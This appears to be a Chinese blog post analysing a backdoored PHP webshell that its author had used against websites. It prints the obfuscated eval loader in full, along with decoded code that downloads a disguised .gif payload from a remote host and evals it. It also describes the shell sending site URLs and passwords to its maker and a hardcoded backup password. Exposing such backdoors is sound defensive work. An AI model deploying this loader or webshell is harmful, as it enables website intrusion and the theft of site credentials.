PHP之WebShell代码后门的一次检查

小明是一名Web小白,今天他突然心血来潮,对自己常用的大马代码查看一下,竟然发现还是有一些后门没有清除干净,不由得心里为之一颤抖,这个江湖果然是险恶重生,黑吃黑的事情经常发生。想起自己辛辛苦苦得到的站点都成了别人的嫁衣,遂决定好好的分析马儿的肚子内部结构,特洛伊的骗局决不能让它再次坑害新手。
正文:
回想起来马儿好像是哪个网站上面下载的,小明快速的打开浏览器,搜索引擎输入“Web大马”,出现了缤纷多彩的信息。

好像就是这个网站,进去之后看看介绍,感觉好高大上黑色的背景配合绿色,灰白色的界面,这不正是小白们心里的标配马吗?好的,就是这匹宝马了。


不知道这宝马有木有介绍的那么好,竟然能过一切waf,诸多安全软件都免杀。有如此良驹,在渗透的时候必然是过五关斩六将。小明的手颤抖的移动鼠标到底部,看到下载地址,狠狠的点击一下,只听得叮的一声,马儿就掉到了自己的目录里面,
迫不及待的解压之后,看到一个shell.php,大小只有1.83KB,这体重和小马有的一拼了。

$password='xxxxx';//登录密码
//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'';*/
咋一看这不是base64吗,如此小的代码竟然实现了诸多的功能。着实让人佩服作者,打开phpstorm直接base64解密得到了下面这段内容
error_reporting(0);
session_start();
if (!isset($_SESSION["phpapi"])) {
$c = '';
$useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)';
$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
$urlNew= base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw==");
if (function_exists('fsockopen')) {
$link = parse_url($url);
$query = $link['path'];
$host = strtolower($link['host']);
$fp = fsockopen($host, 80, $errno, $errstr, 10);

if ($fp) {
$out = "GET /{$query} HTTP/1.0rn";
$out .= "Host: {$host}rn";
$out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)rn";
$out .= "Connection: Closernrn";
fwrite($fp, $out);
$inheader = 1;
$contents = "";
while (!feof($fp)) {
$line = fgets($fp, 4096);
if ($inheader == 0) {
$contents .= $line;
}
if ($inheader && ($line == "n" || $line == "rn")) {
$inheader = 0;
}
}
fclose($fp);
$c = $contents;
}
}
if (!strpos($c, $urlNew) && function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
$c = curl_exec($ch);
curl_close($ch);
}
if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) {
$temps = @file($url);
if (!empty($temps))
$c = @implode('', $temps);
if (!strpos($c, "delDirAndFile"))
$c = @file_get_contents($url);
}
if (strpos($c, $urlNew) !== false) {
$c = str_replace($urlNew, "", $c);
$_SESSION["phpapi"] = gzinflate(base64_decode($c));
}
}
if (isset($_SESSION["phpapi"])) {
eval($_SESSION["phpapi"]);
}
原来作者是通过远程下载图片的方式得到大马的内容,难怪可以逃过免杀啊,根本就是普通的php代码,这样以来作者就可以明正言顺的得到我们的url了,真的是躺着也能乐呵呵的数马儿,今年又是一个丰收年啊。
$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg=="));
$url base64解开后的到http://xxx.xxx/404.gif
在得到图片的内容后用base64解开然后zip解压我们得到了真的马儿,打开浏览器后一看果然和网站上介绍的是一个模样的。输入密码登陆后,看到这样的马儿用起来才叫爽啊,


为了看看大马儿的内部还有什么手段,祭出Firefox,按下f12,输入密码后查看网络连接,发现视乎没有什么其他的外部活动,js也是非常的安静。新想这马儿应该是安全的。再次查看了httpnetworksniff和TcpLogView,没有外部的连接活动。但还是非常不放心,在phpstorm里面看了下base64加密的字符串,看到一个函数非常可疑


其中htmlogin()函数内部 if (strpos($domain, “0.0″) !== false || strpos($domain, “192.168.”) !== false || strpos($domain, “localhost”) !== false) 以及show_mainp()函数都对局域网ip特征做了判断,判断了是否为局域网,不然就发送你的地址和密码到他的网站,http://xx.xx/api.phpname=filename.php&value=password&id=ip
然而到此结束了吗???通常WebShell会有一个备用的密码,搜寻了一下postpass 在1709行发现了备用密码if ($_POST['postpass'] == postpass||$_POST['postpass']==’http200ok’)

总结:
还是那句话江湖险恶,不要轻易的用别人写好加密的东西,很多软件最好翻墙或者先去github上找找。webshell这种东西要自己动手查看内容确定安全后才能放心使用。